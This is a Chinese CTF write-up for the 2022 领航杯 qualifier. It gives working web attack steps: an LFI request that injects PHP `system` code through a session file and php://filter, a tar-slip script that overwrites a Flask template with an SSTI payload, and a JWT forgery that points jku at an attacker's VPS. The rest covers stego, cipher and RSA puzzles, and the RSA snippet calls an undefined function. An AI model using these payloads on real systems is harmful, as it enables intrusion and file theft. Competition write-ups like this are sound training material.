领航杯2022初赛write up

linkgame

发现可以lfi的地方,伪协议读取index.php源码

image

尝试直接去include session文件,反正可以写入session

后来发现可以读到session文件,并且写入的数据是base64编码保存的,就尝试用解码的过滤器去把他带出来,当然前面要添加垃圾字符来保证是4的倍数

1
2
3
4
5
6
7
8
9
10
11
POST /?file=php://filter/convert.base64-decode/resource=../../../tmp/sess_150ak6n4vclbpnm5263qpi5c25&name=aabcdabcdabcdabddddcdabcdabcdabcdabcdabcdabcdabcdabcd<?php+system('cat+/f*');?> HTTP/1.1
Host: 39.106.148.107:16698
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=150ak6n4vclbpnm5263qpi5c25
Connection: close
Content-Length: 14

image

HongKe{ac59054a40ea53757b7a0c8d99875027}

TarSlip

报错查看到部分源码

image

image

image

存在Zip Slip漏洞,可以用它来覆盖原有的上级路径下的文件

在解压的时候覆盖原有的文件

Flask开启了调试模式,尝试覆盖模板index.html,达到模板注入rce

网上找了脚本生成tar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import tarfile
import io


with tarfile.open("1.gz", "w:gz") as tar:

info = tarfile.TarInfo("../../../templates/index.html")

deserialization_payload = (
'{{ get_flashed_messages.__globals__.__builtins__.open("/flag").read() }}'
)

info.size = len(deserialization_payload)
info.mode = 0o444 # So it cannot be overwritten

tar.addfile(info, io.BytesIO(deserialization_payload.encode()))
tar.close()

上传

1
2
3
4
5
6
7
import requests

with open("1.gz", "rb") as file:
res = requests.post(
"http://39.106.148.107:16743/api/untar", files={"file": file.read()}
)
print(res.text)

rce成功

image

CnHongKe{49d2c218cbdbbee6381c7f9601bf0205}

jwt2

随便注册一个用户,分析jwt

头部是这样的

1
2
3
4
5
{
"typ": "JWT",
"alg": "RS256",
"jku": "http://localhost:5000/static/styles/jwks.json"
}

/static/styles/jwks.json保存本地

image

https://mkjwk.org/中生成keypair

用生成的n替换掉n

image

1
2
3
4
5
6
7
8
9
10
11
12
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"kid": "demo",
"alg": "RS256",
"n": "AMVcGPF62MA_lnClN4Z6WNCXZHbPYr-dhkiuE2kBaEPYYclRFDa24a-AqVY5RR2NisEP25wdHqHmGhm3Tde2xFKFzizVTxxTOy0OtoH09SGuyl_uFZI0vQMLXJtHZuy_YRWhxTSzp3bTeFZBHC3bju-UxiJZNPQq3PMMC8oTKQs5o-bjnYGi3tmTgzJrTbFkQJKltWC8XIhc5MAWUGcoI4q9DUnPj_qzsDjMBGoW1N5QtnU91jurva9SJcN0jb7aYo2vlP1JTurNBtwBMBU99CyXZ5iRJLExxgUNsDBF_DswJoOxs7CAVC5FjIqhb1tRTy3afMWsmGqw8HiUA2WFYcs",
"e": "AQAB"
}
]
}

放在vps上,目录开http服务

然后构造jwt

公钥和私钥从刚刚生成的里面复制

image

这里jku替换成vps上的文件

1
2
3
4
5
{
"typ": "JWT",
"alg": "RS256",
"jku": "http://120.27.248.81/jwks.json"
}

image

image

image

CnHongKe{3d5d119ab41e94e256d24f021823746e}

小明的困惑

拿到图片发现里面隐藏了东西,先foremost分离出来

然后zsteg看一下通道,发现里面有个eg_information

然后用pngcheck检测png图片是否被修改过,果然图片是被动过的

修改ihdr得到原始图片

发现右下角有个find_str,与之前得到的拼在一起可以得到压缩包的密码:find_steg_information,打开压缩包

发现行数呈现一定的规律

猜测为二进制,在线转码得到:CnH0n9Ke

IMG_256

据题意要md5的值

所以最后的flag为:

CnHongKe{62912e0cb10240c1f323c719b7ec5706}

SmallIp

如图可知字母为rot13解决,数字为ascll表对应值与7异或处理,其他符号用ascll表对应值与6异或。

这个nj =
“PaUbatXr}P7ate3gh63ge7af{“为加密过后的结果

经解密得CnHongKe{C0ngr4tu14tr0ns}

所以结果为此

验证得

rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import gmpy2
n= 18068084654503166459678256330702863359058855857364297657967966547721339739774006329918220663022306569505094844488394089767989656632513885150147468647129320316884121695436759043299519486096468548569125022874657850436656755056592057603683592308393335091313125510527778277584046865412410461354443376761977198663827654733137098378331471195448635250255391138122238570361223672500510336508097682979064499210197237414629707976646241474531359676074143979974285720290865649993620043169639863845529538686458568022824251216003309356279073057734111752994714199138627394600571994085388795698092627546703002648115505809394107286143
e= 7
c= 12638092982695661510801150389916683505333379755571736707014609281536097225309558432845064087780222143856194730895008362619433554338827184174867917468438857696106608248037932751836798649128943244807603793586431297829198511854055960619667075145609763782148006924165793533190668777929738448780729325061197428046010754750547992393229482720438349717059808374022743576774097271594850957513597564719686802663578631452072033770243212715027502576569751164626421

def m_to_ans(m): # 求出明文m后将m转化成文字
l = []
while m != 0:
m, b = divmod(m, 256)
l.insert(0, chr(b))
print(''.join(l))
return ''.join(l)
print(gmpy2.iroot(c, e))
small_msg(e,n,c)
m_to_ans(27739419203610272465846297626078343194214077317795017373626235261)

CnHongKe{Th1s_i5_vEry_e45y}